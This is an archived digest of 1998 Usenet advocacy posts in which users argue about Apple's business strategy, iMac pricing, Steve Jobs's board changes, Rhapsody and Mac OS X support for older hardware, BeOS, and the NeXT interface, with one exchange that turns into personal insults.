> In that sense, though it would be a shame of the first order, WebObjects is
> *not* immune to being dropped by Apple by any means.
>
More asinine FUD...
At MacWorld WebObjects was touted as one of the four pillars of Apple's
publishing solution, on an equal footing with QuickTime, AppleScript and
ColorSync. Not exactly spin-off material. Unless you want to start
spreading rumours about QT Inc?
mmalc.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: observations from atop a slab
Date: 18 Jul 1998 16:53:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6oqjv6$h9$1@nnrp02.primenet.com>
References: <6op0vm$eep$1@birch.prod.itd.earthlink.net> <6oqcd4$h22@newsb.netnews.att.com>
NNTP-Posting-Date: 18 Jul 1998 16:53:58 GMT
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: b. Maybe Apple will see that Unix has growing momentum, and that
: perhaps it can benefit from that, be less UNIX-averse.
FWIW, today's news is that Oracle will port to Linux:
http://www.infoworld.com/cgi-bin/displayStory.pl?980717.whorlinux.htm
I really think Apple had an opportunity to provide the UI for Linux (or at
least a popular one). I suppose if they really jumped on it, they still
could.
Which, I realize is not at all the same as the original poster's dream of
a reborn slab. I think there are merits to the plug-and-play or the
open-architecture strategies, the danger is mixing them ...
John
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 18 Jul 1998 16:54:33 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oqk09$852$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <joe.ragosta-1607982129100001@elk123.dol.net> <6omp7j$m5t$2@lwnws01.ne.highway1.com> <joe.ragosta-1707981312160001@wil54.dol.net> <6op6js$9dk$1@lwnws01.ne.highway1.com> <joe.ragosta-1807981021050001@elk79.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6op6js$9dk$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > No, *you* are clearly in error. I double dog dare you to go
> > back in the thread. If you pull out that post you'll see, what
> > I said was *if* they could actually produce enough to meet the
> > demand at a $999 price point, it
>
> You said no such thing. I posted your message in my original post
> and don't care to dig it up again. If you want to make that
> assertion, _you_ find the article.
First, dillboy, when you accuse someone of something, the onus is on you to
back it up when the accused denies it. But considering you're a lazy, sloth,
slandering biased slime, I'll shove it in your face to further marginalize
you; you putrid maligning, passive aggressive twit.
This was in exchange with you on July 16.
------------------------------------------------------start paste
John Kheit <jkheit@mediaone.net> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > And, as has been stated, the comparison is name brand machines.
> > The data has already been provided that very few people are
> > buying no name clones (80% of computer sales are to the top 10
> > vendors alone). Apple has no immediate plans to compete against
> > garage shop clones.
> >
> > When you can find a name brand vendor who offers a deal that's
> > significantly enough below the iMac's price to make a difference,
> > feel free to provide it. Until then, you haven't proven your
> > assertion.
>
> You're quite wrong, I have proven my assertion. You are interjecting
> an assertion that suits your purpose. There is 20% of the market
> that does buy this stuff. A market about 5-7 times the size of
> the mac market. Apple, as a sole provider of it's wares does,
> in part, compete for seats in that market. One fifth the market
> is substantial. Plus, I imagine that number 9&10 on that top 10
> list might be things like Comtrade or CyberMax which are are
> pretty much bargain basement places with nicer color ads.
>
> Oh, and on page 178 July ComputerShopper, you can get an IBM
> pentium pro 200, 32mb ram, 4.2gb drive, NT, 4mb video, 16x drive,
> 15" monitor for 998. I'm just flipp'n at random here, and if I
> had the august CShopper, probably would find even more. Also,
> we'll see what the big boys offer around August. My bet is 999
> machines will be there and undercut the mac. Dell might do it
> only for spite. The worry seems to be that apple will stretch
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> production and likely not even be able to keep with demand at
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 1299, so they might as well charge that much. If they actually
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ****************
> had the capacity, it would make a great deal of sense to sell at
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 999 when it hits, if only to build all that marketshare.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
------------------------------------------------------end paste
> Logic has never kept you from flaming Apple before.
And a reasoned and unbiased thought has never passed through the chasm
between your ears, you lecherous, slandering piece of biled sewer spouting
trash. I think all of us have tried to see things from your perspective, but
none of us were able to get our heads that far up our asses.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 13:44:10 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1807981344100001@pelli.pathology.pitt.edu>
References: <pxpst2-1607982149350001@pelli.pathology.pitt.edu> <B1D4F24A-14E3D@206.165.43.134> <pxpst2-1807981022490001@pelli.pathology.pitt.edu> <35B0AFEC.F02E9F@sprintmail.com>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <35B0AFEC.F02E9F@sprintmail.com>, mkaiman@sprintmail.com wrote:
> This is a multi-part message in MIME format.
> --------------9F48950D26EABCE8F4D8CB55
> Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854";
x-mac-creator="4D4F5353"
> Content-Transfer-Encoding: 7bit
>
>
>
> Peter wrote:
>
> Apple was on the
> > verge of a shareholders revolt with Gil at the Helm. Steve and his
> > "buddies" easily control more stock than Markulla. A shareholder revolt
> > at this point in time is virtually impossible.
> >
>
> Why would anyone even consider a shareholder revolt? The stock is higher than
> its been in years, the company is profitable again, and has a strategy that
> actually includes making products people want to buy! The agony of watching
> incompetents (Sculley, Spindler, Amelio) run the company into the ground has
> finally subsided.
>
> Apple would be a memory by now if not for Steve Jobs. The only 'shareholder
> revolt' I can imagine is if Jobs decided to leave Apple and go back to Pixar.
If you read what I wrote you would see that that is what I said.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why the iMac needs a floppy
Date: Sat, 18 Jul 1998 17:30:42 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <35b0db27.1174969@news.asan.com>
References: <35AFE66F.3304@earthlink.com> <35b014be.376431@news.asan.com> <35b02228.0@news.together.net> <35b030c0.406534@news.asan.com> <macghod-1807980043040001@sdn-ar-001casbarp259.dialsprint.net>
On Sat, 18 Jul 1998 00:43:04 -0700, macghod@concentric.net (Steve
Sullivan) wrote:
>>Besides, why should apple make more
>> money than anyone else?
>
>But how else is Apple going to pay for that os they preload??? Remember
>jobs during the clone debacle, who said that the COST to make the macos
>was FOUR times what the cloners were paying?
>
>The cloners were paying $50 just for the os (which is probably about what
>it goes for wholesale), which makes the os cost $200. And then you have
>to add in all the people that buy the os for $100 from macwarehouse, thats
>$100 lost per sale!! Apple is just losing money hand over fist, they need
>to recoup that somewhere!! In other words, dont make fun of Apple's %30
>margins (I heard it was %25)
That's true; I forgot about that.
Hey, I have an idea. Why don't they simply outsource the OS like
they're doing for the rest of the components? I think there's one
called "Windows 98" that they can buy.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071818002200.OAA03866@ladder03.news.aol.com>
Date: 18 Jul 1998 18:00:22 GMT
Organization: AOL http://www.aol.com
References: <1dcdf79.1y4to2p1lm8ksgN@rhrz-isdn3-p17.rhrz.uni-bonn.de>
I believe that I've provided a number of reasons as to why the NeXT UI is
better than the Mac, aside from aesthetics (though I prefer the NeXT UI on this
basis as well).
As I've noted, time/date changing and display is inconsistent, the menu bar is
inconsistent most entries are words, one, two or three are graphical), there's
little to no feedback as to which applications are running, etc.
Which of my statements in this thread do you not feel are valid?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 13:11:33 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980718131133152609@pm2-2-03.aug.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com> <35B08C8B.7E9A@REMOVE.wayne.edu>
Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> What was the Macintosh's killer app? MacPaint? MacLogo?
>
> My point being these things take time.
It was a combination of Pagemaker and the Laserwriter.
--
*** To reply via email remove nospam from my return address. ***
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: HOLY SH*T!!!! $101M Profit!!!!
Date: Sat, 18 Jul 1998 11:36:34 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1807981136340001@sdn-ar-001casbarp049.dialsprint.net>
References: <6oj4m6$nn9@bgtnsc02.worldnet.att.net> <edremy-ya02408000R1607981111360001@news.usc.edu> <6olhv7$jhq$1@flotsam.uits.indiana.edu> <6olmi1$105s$1@nntp6.u.washington.edu> <6olopt$1vm$1@jetsam.uits.indiana.edu> <Pine.SOL.3.96.980716160231.19922C-100000@ux7.cso.uiuc.edu> <djboccip-1607982138570001@tnt2-191.hiwaay.net> <MPG.101898ff5e2179fb989681@news.interport.net> <djboccip-1707980932490001@tnt2-130.hiwaay.net> <6opk2l$kqh$1@news6.ispnews.com> <joe.ragosta-1807980719560001@elk58.dol.net>
In article <joe.ragosta-1807980719560001@elk58.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Apple's sales (in terms of units) have been essentially flat for 7 quarters.
>
> As for recent history, Apple's market share is increasing. What's so bad
> about that?
>
> Apple's revenues and unit sales were flat compared to the first quarter.
> Compaq, OTOH, was down about 15% if you don't add in the Digital revenues.
I have not seen a response from you so I will ask the question again:
q3 97 apple shipped about 700k machines. THis last quarter they shipped
about 650k machines. THe personal computer market is INCREASING. THus
how do you say apple market share is increasing? Add in the fact that a
year ago their was STILL a clone market, and this makes this last quarters
sales even worse. Probably more than %15 decrease if you look at apple as
being basically the whole macos compatible market, which they basically
are.
Plus, I find it interesting that have been constantly mentioning compaq's
losses and you INCLUDE Digital, but now you DONT Include digital. Looks
to me like you have no desire for the facts, you just want to do anything
you can to make Apple look good, regards of what the facts are
--
So many pedestrians, so little time.
From: a l t e n ber@nashville.com (L e e Al te nb erg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac OS X GUI---3 clicks to any window?
Date: 18 Jul 1998 18:57:09 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6oqr65$ept$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
With the NeXT GUI, I can find any window and bring it up to the top in no
more that 3 mouse clicks. This is even if I have 50, 70, 100 windows open:
Case 1: The window is miniaturized and its icon is on the bottom of the
screen--2 clicks reopens the window;
Case 2: The window is open but in back of 40, 60, 80 other windows on the
screen--double click on the icon of the app owning the window, which will be
either in the Application Dock, or on the bottom of the screen, then click on
the name of the window in the torn-off Window menu (which I usually keep on
the lower right side of the screen over the Dock)--- 3 clicks. If you don't
want the Window menu torn off, that will take you one more click to open it.
Now, I would love to know if the new MacOS X - Server GUI gives users the
same ease of access to multiple windows. This is an objective way of
comparing GUIs. The key brilliant idea of NeXT's GUI was what I call "Access
from the periphery". You can have a whole stew of windows in the body of the
screen, but the key hooks to get at them are around the margins of the
screen. This is where the "Desktop" metaphor is deficient: the hooks (icons
on the desktop) have nowhere else to go besides the workspace where all those
windows are. You can start out putting them along the periphery, but because
they are not grouped hierarchically, it takes an area of N instead of an area
of Log_k(N) on the desktop, where k is the average number of elements in each
level of hierarchy (e.g. number of open apps, number of open windows per
app).
So with the desktop metaphor you pretty soon you have heap of icons buried
underneath the windows of your desktop, and it is a real pain to access them.
A passerby once remarked how crowded my NEXTSTEP screen was with windows. I
realized that no other GUI would allow one to have so many open windows and
maintain 3-click access to any of them.
I don't have access to Rhapsody DR2, so I would love to know how it fares in
terms of the specific question of window access.
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 12:09:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com>
In article <bryan-ya02408000R1807980834550001@news.kcnet.com>,
bryan@kcnet.com (Bryan Schmiedeler) wrote:
> I
> >As I see it, Apple's (and the Mac's) best chance lies along the
> >following lines:
> >
> >1) Write a version of OSX which will not only run on Intel, but
> >will run native Windows apps as if they were Mac apps.
>
> You made an excellent point above that I agreed with: Apple
> will have trouble keeping up with R&D in the Windows world, as they
> have a smaller base (hence the move toward PC hardware
> standardization). But then you suggest this! How much R&D
> (in time and money) do you think *that* would take?
They did it once, with a VERY small group. The Project was called
"Star Trek" and about a dozen programmers had it running in about
three months. I'd say, that it could be done with about the same
amount of effort as is now going into OS-X for PPC.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:31:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981231220001@sf-usr1-32-160.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net> <199807170824012819540@slip129-37-241-229.wa.us.ibm.net> <rmcassid-1707980927330001@dante.eng.uci.edu> <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net>
In article <19980717143757424354@slip-32-100-148-121.wa.us.ibm.net>,
shawnm@snd.net (Shawn M.) wrote:
> Robert Cassidy <rmcassid@uci.edu> wrote:
>
> > In article <199807170824012819540@slip129-37-241-229.wa.us.ibm.net>,
> > shawnm@snd.net (Shawn M.) wrote:
> >
> > >> That would be true in any OTHER company, not at Apple. Scully and
Spindler
> > >> lacked two things to be effective CEOs (1) a clue, (2) any real power.
> > >> Management by concensus, might, as I said earlier, work in political
> > >> organizations, but in business it doesn't work at all.
> > >
> > >I don't agree with your theory as it applies to Apple. If it were true,
> > >Steve Jobs would not have the affect he's having now. He's the [acting]
> > >CEO and he's single handedly made lots of big decisions that affect
> > >Apple's future. Apple obviously isn't run by consensus anymore--at
> > >least not with Jobs in charge.
> >
> > No, he's right.
> >
> > Apple isn't run by concensus because Steve and the board won't allow it.
> > Interim or not, Jobs is running the show. I think he probably is doing a
> > better job of listening to his key people, forming a solid strategy, and
> > standing by it. Steve is the guy that says 'no'. There wasn't much of that
> > before. Engineers would do what they wanted. They would offer ideas and
> > just run with them. No longer. You work on the plans as laid out by the
> > executive team, nothing else. That is _really_ new for Apple.
>
> I'm not disputing any of that. Mr. Graves was saying that Apple is run
> by consensus. He didn't use past tense, he used present tense. I'm
> saying that obviously isn't the case anymore.
Please show, in the above exchange, where I used present tense? I
was speaking of Spindler and Scully. Are they not PAST CEOs of Apple?
Does not that term indicate past tense to you? It does to me.
George Graves
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:35:54 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981235550001@sf-usr1-32-160.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com>
In article <6op87l$9hq$1@nnrp1.dejanews.com>, xmac@my-dejanews.com wrote:
> In article <35AE858A.2576@betabreakers.com>,
> Josiah Fizer <jfizer@betabreakers.com> wrote:
> > George Graves wrote:
> > >
> > > In article <6okstp$mkm@nntp02.primenet.com>, John Jensen
> > > <jjens@primenet.com> wrote:
> > >
> > > > xmac@my-dejanews.com wrote:
> > > > : Look at Be and how far (not) they have gotten in the past few
years. You may
> > > > : also wish to notice that Gasse's first instinct with Be was to
base it on a
> > > > : largely proprietary hardware platform and only when sales tanked
did they
> > > > : decide to port to PowerMac and then Intel. Be either needs to
get some major
> > > > : backers quick or go opensource with the whole thing. (IMHO)
> > > >
> > > > That's a wierd way to measure things, bud. Be is healthy, is
hiring, and
> > > > has a new general purpose OS on the market. Has anyone else
achieved that
> > > > in the last 5 or even 10 years? Linux and FreeBSD, but there is a
bit of
> > > > a different dynamic there.
> > > >
> > > > You're saying JLG has failed because he doesn't rule the world. I'd ask
> > > > who else has done as well.
> > >
> > > No, a GUI has failed when it has no MAJOR applications. Be still has no
> > > support from the major players.
> > >
> > > George Graves
> >
> > So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> > or other people that rigth the crap we all have to use at our office? I
> > would just as soon not see the large bloated programs ported to BeOS
> > (gaining more bloat on the way).
>
> That's not what George said is it? Sun, SGI, and HP have all been
> successfull, because they have found their killer app. Be has yet to do this
> or even show any real direction. They have a nice 'show' OS, so I guess their
> killer app is going to be what, demonstrations?
Precisely! Well put.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:36:40 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981236400001@sf-usr1-32-160.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <6op87l$9hq$1@nnrp1.dejanews.com> <35B08C8B.7E9A@REMOVE.wayne.edu>
In article <35B08C8B.7E9A@REMOVE.wayne.edu>, Eric Iverson
<eric_iverson@REMOVE.wayne.edu> wrote:
> > That's not what George said is it? Sun, SGI, and HP have all been
> > successfull, because they have found their killer app. Be has yet to do this
> > or even show any real direction. They have a nice 'show' OS, so I
guess their
> > killer app is going to be what, demonstrations?
>
> What was the Macintosh's killer app? MacPaint? MacLogo?
Try PageMaker
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sat, 18 Jul 1998 12:49:59 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1807981249590001@sf-usr1-32-160.dialup.slip.net>
References: <gmgraves-1707981109350001@sf-pm5-10-74.dialup.slip.net> <B1D5496E-1B598@206.165.43.107>
In article <B1D5496E-1B598@206.165.43.107>, "Lawson English"
<english@primenet.com> wrote:
> George Graves <gmgraves@slip.net> said:
>
> >
> >No. Jobs came on-board to assist in the merger of Apple/NeXT. Amelio
> >asked him to stay on as adviser. Jobs then pulled a board-room coup,
> >after they canned Amelio, and fired the entire board (except for two)
> >including Markkula.
>
>
>
> Do you REALLY think that you can fire the largest stockholder? Markkula
> bowed out to give the appearance of Jobs being in complete control. That is
> the only scenario that makes sense unless you can show me where Markkula is
> no longer the largest private stockholder.
Two weeks before the 1997 MacWorld Boston, Jobs called the entire board
together and asked for the resignations of ALL except Woolard and Chang.
NONE of the outgoing directors opposed the request, not even Markkula, to
whom Jobs broke the news personally. According to witnesses, Markkula
was shaken and saddened by this request from a man whom he had financed
two decades earlier. "He knew it was time (to go)" said one of the witnesses.
This is paraphrased (for brevity) from Jim Carlton's book "Apple. The Inside
story of Intrigue, Egomania, and business blunders." (emphesis is mine)
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 18 Jul 1998 12:51:35 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-1807981251350001@sf-usr1-32-160.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <B1D5496E-1B598@206.165.43.107> <6op0gp$1dg$1@camel15.mindspring.com>
In article <6op0gp$1dg$1@camel15.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> George
> Graves, gmgraves@slip.net writes:
> >> No, the best thing would be for the iMac to sell truckloads, and capture
> >> even more press. Everyone seems to think this is a done deal. You don't
> >> have to sell the company off for it to do well - obviously - and what can
> >> those companies do that Steve hasn't already?
> >
> >Run the company like adults on a permanent basis. Restore some of the
> >lost credibility, move Apple toward being a mainstream computer, instead
> >of being an isolated curiosity, reinstate clones.
>
> I think cloning was a great idea in 1987-1993. By 1995 it was a bad idea
> for an Apple in a terrible position caused by failing to clone earlier on.
>
> Apple is profitable now--I don't see them being profitable now if they
> had to reduce their prices to compete with Mac clones.
But that's not the question. The question is 'What are Apple's long term
prospects?" Not good from where I sit. How about you?
George Graves
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-nolGIh1Lgr6B@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net> <6og3pl$eqq2@eccws1.dearborn.ford.com> <Josh.McKee-1407981859100001@pm3a4.rmac.net> <6ooea0$9gu$1@news1.rmi.net> <Josh.McKee-1707981733170001@pm3a19.rmac.net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 18 Jul 1998 18:05:44 GMT
Organization: IBM.NET
On Fri, 17 Jul 1998 23:33:17, Josh.McKee@cbns.com (Joshua T. McKee)
thought aloud:
> In article <6ooea0$9gu$1@news1.rmi.net>, Tom Harrington <tph@rmi.net> wrote:
>
> > Joshua T. McKee (Josh.McKee@cbns.com) wrote:
> > : In article <6og3pl$eqq2@eccws1.dearborn.ford.com>, tph@rmi.net wrote:
>
> > : No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
> > : run on pre-G3 Macs, then it appears that Apple isn't living up to it's
> > : promise.
> >
> > Explain the reasoning behind this. The promise, as I heard it, was
> > that Rhapsody would run on Macs shipping as of January 1997. It now
> > appears that Rhapsody 1.0 will do exactly that. Or in other words,
> > it'll do exactly what they said it would. Where's the breach of
> > promise?
Is Apple going to support the '97 PowerPC hardware with Rhap/MOSX
after all? Just a week ago an Apple employee posted this to a
Rhapsody-related mailing list:
- - begin quote - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - -
# >When searching for information on how to get Rhapsody DR2 to boot
on my
# >PowerTowerPro I found some pretty weird remarks of an apple
employee(?)
# >stating that clones are not supported because of the focus of the
design
# >team. Also Apple's remarks of MacOS X only supporting G3 hardware
makes
# >me wonder...
#
# Are you capable of writing low level device driver code in PowerPC
# assembly, and debugging that same code WITH A LOGIC ANALYZER?
#
# If you are, please send your resume to applejobs@apple.com
#
# If not, please quit "wondering" about the descision to support
non-G3
# hardware. It is a time-to-market issue. The money needed to bring
more
# machines onto the list was determined to be more than would be
gained by
# doing so, probably before the effect of selling more G3s is even
factored
# in. I'm sure Apple's beancounters are more than able to recreate
your chart
# with real numbers.
- - end quote - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - -
Are they short of staff, or is it just the bean counters...? I wonder
how they price intangibles such as customer confidence and trust etc.
Anybody out there fitting the job description, please mail in your
CV's today. :-)
> While technically you're correct, practically, they broke their
> "contract". Do you honestly think that anyone who bought one of these
> pre-G3 Macs to run Rhapsoday (at the time, the "next generation" os) would
> have done so knowing the Rhapsody was going to be killed in a few months?
> What good is Rhapsody when Apple has all but abandone it?
And as it stands, Rhapsody has been turned into a (Mac OS X) Server
product and it will, or so Apple says currently, ship without Carbon
support which is the core of Apple's next generation OS application
support. For all purposes, Rhapsody 1.0 has turned into a beta, or
"interim" release of the real OS upgrade which, rather understandably
though, won't be shipping until well into '99. That real McCoy should,
and could run on (then) two year old '97 Power Macs just dandy.
Apparently Apple just wants to get away with selling us updated
versions of the Classic Mac OS.
> I'm not talking about bringing a lawsuit against Apple, but I do think as
> a user, I would be very upset.
Agreed.
Rgds,
--
taiQ
[this space is intentionally blank]
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 18 Jul 1998 20:07:29 +0200
Organization: Completely Disorganized
Message-ID: <1dcdp5c.1beinzqqrs5c8N@rhrz-isdn3-p35.rhrz.uni-bonn.de>
